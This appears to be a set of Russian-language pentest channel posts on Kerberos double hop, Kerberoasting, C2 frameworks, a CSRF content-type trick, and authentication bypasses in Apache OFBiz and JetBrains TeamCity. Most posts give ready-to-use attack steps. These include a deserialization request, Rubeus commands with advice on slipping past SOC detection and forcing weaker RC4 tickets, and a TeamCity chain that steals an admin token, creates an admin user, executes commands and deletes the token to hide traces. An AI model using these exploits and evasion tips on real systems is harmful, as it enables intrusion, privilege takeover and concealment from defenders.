First hop, second hop

Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем нет, но решился глянуть что это.

1. Клиент использует TGT для запроса TGS с которым пойдет к Server-A

2. Клиент с Server-A хочет пойти на Server-B, но ничего не получается ?

Это происходит в Kerberos потому, что Server-A не имеет TGT-клиента и его креденшалы просто не кешируются. Поэтому не будет способа доказать, что попытка аутентификации является действительной.

Используем PSExec и проблем не будет, т.к NTLM будет памяти. Однако представим, что PSExec нам не доступен и мы решили использовать WinRM. Но вот WinRM не даст нам коннекта, если мы попробуем запрыгнуть уже на второй хост, через первый, т.к кредов нет

Попробуем использовать PSCredential, чтобы как-то просто ходить к Server-B

PS C:\Users\sas\Documents> $SecPassword = ConvertTo\-SecureString 'I\_w@s\_tir3d' \-AsPlainText \-Force PS C:\Users\sas\Documents> $Cred = New\-Object System.Management.Automation.PSCredential('MONKEY\admin', $SecPassword)

Не забываем применить это все, путем Register\-PSSessionConfiguration ?

PS C:\Users\sas\Documents> Register\-PSSessionConfiguration \-Name admin \-RunAsCredential MONKEY\admin PS C:\Users\sas\Documents> Restart\-Service WinRM PS C:\Users\sas\Documents> Enter\-PSSession \-ComputerName TEST02 \-Credential MONKEY\admin \-ConfigurationName admin

Теперь когда мы будем обращаться к Server-B, то никаких проблем не будет за счет предоставленных кред, а так же можем наблюдать наличие тикетов для нужных ресурсов.

Еще почитать про это можно тут, тут и тут ?

TECHCOMMUNITY.MICROSOFT.COM

Understanding Kerberos Double Hop

First published on TechNet on Jun 13, 2008 Hi, Steve here.

Вопрос собесов - один из самых популярных. Что надо знать, как собесят и как собесить - постарался кратко рассказать в своем посте.

https://teletype.in/@redteammanager/C-SNExDWeez

Teletype

Собесы в пентест

Пора разобрать самую популярную тему, связанную с менеджментом, а именно - собесы. Собеседование кандидата является очень стрессовым...

У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэтому гляньте, может будет кому-то интересно почитать про опыт ~~от манагера до манагера пентеста~~

Kubectl apply
Йо, сегодня я принес несколько ссылочек, где можно почитать про работу различных компонентов в k8s. К такой идее я пришел после того, как решил поизучать принцип работы Docker, и тут можно потыкать ссылочки про него ✨. У меня изначально появился интерес к куберовским namespace, которые по факту создают некую изоляцию кластеров (а эта изоляция предусматривает те же ограничения на API и т.п), ну и потом интерес пошел еще дальше. Подборка довольна скромная, но надеюсь, что кому-то будет интересно ✨

▪️ Как работает K8S в общих чертах

▪️ Docker Containers vs. Kubernetes Pods

▪️ Kubernetes multi-container pods and container communication

▪️ Чуть потыкаться с сервисами

▪️ Почитать про RBAC можно тут, тут и тут

▪️ Accessing the Kubernetes API

▪️ Kubernetes namespaces isolation

▪️ Understanding service accounts and tokens

▪️ Kubernetes API Basics

Плюс, если кому-то будет интересно, то тут есть мини туториал по containerd и как его тыкать

Oh yes, ping pong

Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML\-RPC. Решил глянуть, что это было и как оно происходит ?

Суть заключается в том, что XML\-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java

List<String> unpwErrMsgList = new LinkedList<String>(); if (UtilValidate.isEmpty(username)) { unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username\_was\_empty\_reenter", UtilHttp.getLocale(request))); } if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) { unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password\_was\_empty\_reenter", UtilHttp.getLocale(request))); } boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange")); if (!unpwErrMsgList.isEmpty()) { request.setAttribute("\_ERROR\_MESSAGE\_LIST\_", unpwErrMsgList); return requirePasswordChange ? "requirePasswordChange" : "error"; }

Тут все начинается с requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChange

Дальше идем в checkLogin() и там уже идет следующий момент

if (username == null || (password == null && token == null) || "error".equals(login(request, response)))

Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс "error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChange

Поэтому мы можем дергать ручки XML\-RPC

/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y

А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial

```
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Content-Length: 4002
Content-Type: application/xml

Methodname





test

serialized_shell







```

Пора и мне сказать что-то ✨

В этом году я очень старался повысить свои навыки, а вы могли наблюдать тем, что я балансировал между разными темами в своих постах. С одним автором другого ИБ-канала я общался и обсуждал рынок ИБ, другие авторы меня вдохновляли, направляли и просто показывали свои находки, ресерчи и наработки.

По активностям год был веселый. На PHD, я сидел и тыкал IDS Bypass, помогал в проведении OFFZONE 2023, ну и Standoff 12 тоже не прошел мимо. Надо попробовать быть более активным в следующем году. ?

Было хорошо? Не знаю, но думаю, что я нашел курс своего развития, где-то на ближайшие полгода. Под конец года, постов стало меньше, т.к задач по работе было не мало, да и учеба тоже дает знаки о себе.

В завершении скажу, что все молодцы! Пусть каждый отдохнет на праздниках, пусть каждый будет получать удовольствие от своего дела, пусть каждый будет здоровым! ✨

Счастье для всех, даром, и пусть никто не уйдет обиженный!

Мне как-то стало интересно, каким образом фиксируются манипуляции с Kerberos, поэтому решил порыть базовые вещи. Разбираться будем сегодня с TGS

Rubeus.exe kerberoast /nowrap

Мы можем видеть, что он отправляет следующий LDAP запрос

(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))

(samAccountType=805306368) - получаем доменных пользователей

(servicePrincipalName=*) - получаем все SPN в домене

(!samAccountName=krbtgt) - убираем из вывода krbtgt

(!(UserAccountControl:1.2.840.113556.1.4.803:=2)) - смотрим, что УЗ не заблокирована.

Тут уже начинается детект у многих. Вся проблема в servicePrincipalNames=*, который SOC ловит, т.к мы получаем список всех SPN. Лучше определить учетные записи с SPN и только потом делать уже запрос

Rubeus.exe kerberoast /nowrap /user:svc\_chat /spn:HTTP/sus.monkey.local

Многие знают про некий даунгрейд тикета с AES на RC4. По факту, ничего не мешает сервисной учетке поддерживать RC4 и AES128/256 одновременно, поэтому мы можем запросить, запросить тикет не с AES, а с RC4, поэтому и сбрутать креды будет намного легче. В Rubeus с этим помогает флаг /tgtdeleg. Однако, в идеале тикеты и его содержимое мониторят.

Попробуем немного углубиться в содержимое тикета, если конкретнее то в его флаги. Эти 32-битные флаги называют KDCOptions. Нормальным поведением является, если значение KDCOptions равно 0x40810000, однако при попытке поиграться с тикетами, мы можем заметить другое значение 0x40810010. Если их сравнивать, то можем понять, что нам надо избавиться от Renewable\-OK, и с этим уже может помочь тулза Orpheus, которая подправит флаги.

Интересным решением для обнаружения атак является использование фейковых УЗ с SPN, данный момент мне подчеркнул один из моих коллег. Обычно стоит обращать внимание на LastLogon, который может намекнуть на фальшивость УЗ. Ну и наличие высоких привилегий, тоже дает намек

Bye-bye ✨

Please, provide command…
Когда-то я собирал список инструментов для проксирования трафика. В этот раз я посмотрел некоторые C2 и решил поделиться небольшим списком. ?

Sliver - это пожалуй один из самых популярных C2 на данный момент. Он поддерживает различные протоколы, включая HTTP, WireGuard, DNS и т.д. Плюс, был недавно набор статей по его кастомизации ?

Mythic - как и Sliver, Mythic является достаточно популярным C2, плюс у него очень приятный UI. Для Mythic есть много различных агентов. Ну и никто не мешает написать собственный, а документация у данного инструмента приятная

Merlin - данный C2 популярен за обширность предоставляемых модулей для AD, но только не каждый из них корректно работает. Автор заявлял, что агент можно легко модифицировать под себя, но в пабликах не видел агентов, основанных на нем

Godoh - самый простой C2, однако для коннекта использует протокол DNS\-over\-HTTPS ?

Havoc - очень похож на Cobalt Strike, имеет в себе много различных модулей. Его фичей считают Sleep obfuscation, основанный на Ekko (thx to D00Movenok )

PoshC2 - тулза немного устаревшая, но показалось интересной за счет модулей, основанных на C\# (хотя поддерживает еще модули, основанные на Python)

По детекту понравилась статья от ProjectDiscovery

Наверно все ?‍♀️

Пока писал, тут выкатили статью по C2C

То, что уже не должно встречаться, но все еще встречается (#bb_tips?).
Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить CSRF было бы грехом. Однако, общение с бэкендом происходит через Rest с использованием Content\-type: application/json. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..?

Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо application/json ставим application/x\-www\-form\-urlencoded, а тело запроса оставляем прежним :).
Сразу хочется отметить, что burp не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться:

``

Token that gives me power

Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с RPC2

В целом стоит начать, что TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на Java

Ребята нашли интересный дифф в методе XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера.

/app/rest/users/<userLocator>/tokens/<tokenName>

Отсюда мы имеем следующий сценарий

Получаем токен администратора

POST /app/rest/users/id:1/tokens/RPC2

С его помощью, мы теперь можем создать пользователя с админскими правами

POST localhost:8111/app/rest/users \-H "Content\-Type: application/json" \-\-data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" \-H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"

Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)

POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true

Не забываем все это применить к текущему конфигу

POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties

И теперь мы имеем возможность исполнять команды
POST /app/rest/debug/processes?exePath=id

Не забываем удалять токен

DELETE /app/rest/users/id:1/tokens/RPC2